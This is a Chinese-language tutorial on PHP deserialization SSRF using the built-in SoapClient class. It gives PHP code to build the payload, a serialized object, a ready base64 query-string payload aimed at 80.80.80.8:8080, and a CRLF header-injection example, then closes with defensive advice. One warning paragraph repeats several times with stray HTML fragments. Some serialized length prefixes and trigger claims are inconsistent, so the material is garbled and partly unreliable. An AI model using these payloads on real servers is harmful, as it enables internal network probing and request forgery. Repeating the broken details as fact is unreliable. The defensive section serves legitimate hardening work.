SoapClient反序列化SSRF攻击无需自定义类,只需可控反序列化输入和SoapClient可用;当wsdl=null且设置location/uri时,调用不存在方法触发__call向指定地址发POST请求。

PHP反序列化漏洞利用 SoapClient 发起攻击,核心在于绕过自定义类依赖,直接使用PHP内置原生类构造POP链,实现SSRF(服务端请求伪造)。它不需要目标代码中存在危险的用户类,只要满足“反序列化可控输入”+“SoapClient 类可用”两个条件,就能触发。
SoapClient 是什么?为什么能被利用?
SoapClient 是PHP内置的SOAP客户端类,用于调用远程Web Service。它的构造函数接受一个 $wsdl 参数(WSDL地址)和一个 $options 数组。关键点在于:
- 当
$wsdl = null时,SoapClient不会加载WSDL,但仍可正常使用; - 若设置了
'location'和'uri'选项,调用任意不存在的方法(如__call)时,会向location发起POST请求,内容为基于uri构造的SOAP XML; -
__call是魔术方法,在反序列化后对象被当作“调用不存在方法”使用时自动触发 —— 这正是攻击入口。
所以攻击链是:
反序列化 → 构造 SoapClient 对象 → 触发 __call() → 向内网或指定地址发HTTP请求
攻击步骤简明说明
-
第一步:确认环境支持
立即学习“PHP免费学习笔记(深入)”;
- 目标PHP版本 ≥ 5.3.0(
SoapClient存在) -
soap扩展已启用(可通过phpinfo()或extension_loaded('soap')检查) - 存在反序列化点(如
unserialize($_GET['data']))
- 目标PHP版本 ≥ 5.3.0(
第二步:构造恶意序列化字符串
$payload = new SoapClient(null, [
'location' => 'http://127.0.0.1:8080/ssrf',
'uri' => 'http://test.com'
]);
// 触发 __call 需要“调用一个不存在的方法”,例如:
// $payload->abc();
// 但反序列化本身不触发;需在后续代码中调用任意方法(如 echo、print_r、拼接字符串等)序列化后类似:
O:10:"SoapClient":3:{s:3:"uri";s:15:"http://test.com";s:9:"location";s:26:"http://127.0.0.1:8080/ssrf";s:6:"_cookies";a:0:{}}⚠️ 注意:实际构造时需处理属性可见性(SoapClient 属性为 protected),序列化字符串中 location 和 uri 的键名应为 <p>⚠️ 注意:实际构造时需处理属性可见性(<code>SoapClient 属性为 protected),序列化字符串中 location 和 uri 的键名应为 \0*\0location 和 \0*\0uri(即 %00%2A%00location URL编码形式),否则反序列化失败。
⚠️ 注意:实际构造时需处理属性可见性(SoapClient 属性为 protected),序列化字符串中 location 和 uri 的键名应为 \0*\0location 和 \0*\0uri(即 %00%2A%00location URL编码形式),否则反序列化失败。
<p>⚠️ 注意:实际构造时需处理属性可见性(<code>SoapClient 属性为 protected),序列化字符串中 location 和 uri 的键名应为 \0*\0location 和 \0*\0uri(即 %00%2A%00location URL编码形式),否则反序列化失败。*⚠️ 注意:实际构造时需处理属性可见性(SoapClient 属性为 protected),序列化字符串中 location 和 uri 的键名应为 \0*\0location 和 \0*\0uri(即 %00%2A%00location URL编码形式),否则反序列化失败。
%00%2A%00location URL编码形式),否则反序列化失败。- 第三步:让
__call被触发
反序列化本身不会立刻发请求。必须在反序列化后,对对象执行一次方法调用,例如:
$obj = unserialize($user_input); echo $obj; // 触发 __toString()?不,SoapClient 没有 __toString $obj->notExistMethod(); // 显式调用 → 触发 __call → 发起 SSRF
更常见的是:应用代码中已有类似 $obj->getData() 或 strval($obj) 等操作,而你控制的 $obj 正好是 SoapClient 实例 —— 这就构成了隐式触发。
典型利用场景示例
假设存在如下漏洞代码:
$data = $_GET['input'];
$obj = unserialize(base64_decode($data));
if (isset($obj->callback)) {
$obj->callback(); // 如果 $obj 是 SoapClient,这里会报错但已触发 __call
}你发送:
?input=TzoxMDoiU29hcENsaWVudCI6Mzp7czozOiJ1cmkiO3M6MTU6Imh0dHA6Ly90ZXN0LmNvbSI7czo5OiJsb2NhdGlvbiI7czoyNjoiODAuODAuODAuODo4MDgwL3NzcmYiO3M6NToiX2Nvb2tpZXMiO2E6MDp7fX0=
解码后是合法 SoapClient 序列化数据,当执行 $obj->callback() 时,因 callback 方法不存在,自动进入 __call,向 80.80.80.8:8080/ssrf 发起POST请求。
高级技巧:配合CRLF注入打内网
SoapClient 的 location 支持协议+主机+路径,但若后端使用 cURL 或 file_get_contents 发起请求,还可进一步注入HTTP头(如 Host、Cookie),前提是 location 值可控且解析逻辑存在缺陷。例如:
'location' => "http://vuln.com\r\nHost: admin.internal\r\nX-Forwarded-For: 127.0.0.1"
虽然原生 SoapClient 不直接支持CRLF注入,但在某些封装逻辑或低版本PHP中,结合其他类(如 Phar + filter 伪协议)可组合利用。
防御建议(针对此利用方式)
- 永远不反序列化不可信输入 —— 这是最根本的防线;
- 使用
unserialize($data, ['allowed_classes' => false])(PHP 7.4+)彻底禁用对象反序列化; - 替代方案优先用
json_encode/json_decode,它不触发任何魔术方法; - 禁用或限制
soap扩展(如无SOAP业务需求); - Web服务器层限制出站请求(如iptables、防火墙策略),尤其禁止访问
127.0.0.1、内网段; - 对所有传入数据做白名单校验,拒绝含
O:、C:、S:等序列化标识符的字符串。
不复杂但容易忽略。



















